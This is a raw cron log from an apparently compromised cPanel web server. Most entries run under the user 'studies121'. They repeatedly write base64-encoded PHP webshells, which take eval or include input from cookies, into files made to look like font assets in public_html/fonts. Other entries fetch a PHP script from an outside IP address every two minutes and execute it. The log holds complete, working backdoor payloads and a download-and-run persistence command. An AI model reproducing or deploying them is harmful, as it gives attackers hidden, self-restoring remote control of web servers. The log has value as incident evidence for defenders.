Sep  4 23:43:01 ip-184-168-122-23 CROND[6372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:43:01 ip-184-168-122-23 CROND[6373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:43:01 ip-184-168-122-23 CROND[6375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:43:01 ip-184-168-122-23 CROND[6378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:44:01 ip-184-168-122-23 CROND[6537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:44:01 ip-184-168-122-23 CROND[6539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:44:01 ip-184-168-122-23 CROND[6538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:44:01 ip-184-168-122-23 CROND[6540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:44:01 ip-184-168-122-23 CROND[6542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:45:01 ip-184-168-122-23 CROND[6626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:45:01 ip-184-168-122-23 CROND[6627]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:45:01 ip-184-168-122-23 CROND[6630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:45:01 ip-184-168-122-23 CROND[6629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:45:01 ip-184-168-122-23 CROND[6631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:45:01 ip-184-168-122-23 CROND[6628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:46:01 ip-184-168-122-23 CROND[6716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:46:01 ip-184-168-122-23 CROND[6723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:46:01 ip-184-168-122-23 CROND[6721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:46:01 ip-184-168-122-23 CROND[6722]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 23:46:01 ip-184-168-122-23 CROND[6720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:46:01 ip-184-168-122-23 CROND[6719]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 23:46:01 ip-184-168-122-23 CROND[6718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:47:01 ip-184-168-122-23 CROND[6835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:47:01 ip-184-168-122-23 CROND[6836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:47:01 ip-184-168-122-23 CROND[6838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:47:01 ip-184-168-122-23 CROND[6839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:48:01 ip-184-168-122-23 CROND[6916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:48:01 ip-184-168-122-23 CROND[6917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:48:01 ip-184-168-122-23 CROND[6914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:48:01 ip-184-168-122-23 CROND[6915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:48:01 ip-184-168-122-23 CROND[6918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:49:01 ip-184-168-122-23 CROND[7087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:49:01 ip-184-168-122-23 CROND[7086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:49:01 ip-184-168-122-23 CROND[7085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:49:01 ip-184-168-122-23 CROND[7088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:50:01 ip-184-168-122-23 CROND[7182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:50:01 ip-184-168-122-23 CROND[7187]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 23:50:01 ip-184-168-122-23 CROND[7184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:50:01 ip-184-168-122-23 CROND[7185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:50:01 ip-184-168-122-23 CROND[7193]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 23:50:01 ip-184-168-122-23 CROND[7192]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:50:01 ip-184-168-122-23 CROND[7191]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:50:01 ip-184-168-122-23 CROND[7190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:50:01 ip-184-168-122-23 CROND[7186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:51:01 ip-184-168-122-23 CROND[7288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:51:01 ip-184-168-122-23 CROND[7289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:51:01 ip-184-168-122-23 CROND[7290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:51:01 ip-184-168-122-23 CROND[7292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:52:01 ip-184-168-122-23 CROND[7375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:52:01 ip-184-168-122-23 CROND[7373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:52:01 ip-184-168-122-23 CROND[7376]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:52:01 ip-184-168-122-23 CROND[7374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:52:01 ip-184-168-122-23 CROND[7377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:53:01 ip-184-168-122-23 CROND[7839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:53:01 ip-184-168-122-23 CROND[7840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:53:01 ip-184-168-122-23 CROND[7841]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  4 23:53:01 ip-184-168-122-23 CROND[7844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:53:01 ip-184-168-122-23 CROND[7842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:54:01 ip-184-168-122-23 CROND[7930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:54:01 ip-184-168-122-23 CROND[7931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:54:01 ip-184-168-122-23 CROND[7932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:54:01 ip-184-168-122-23 CROND[7933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:54:01 ip-184-168-122-23 CROND[7934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:55:01 ip-184-168-122-23 CROND[8110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
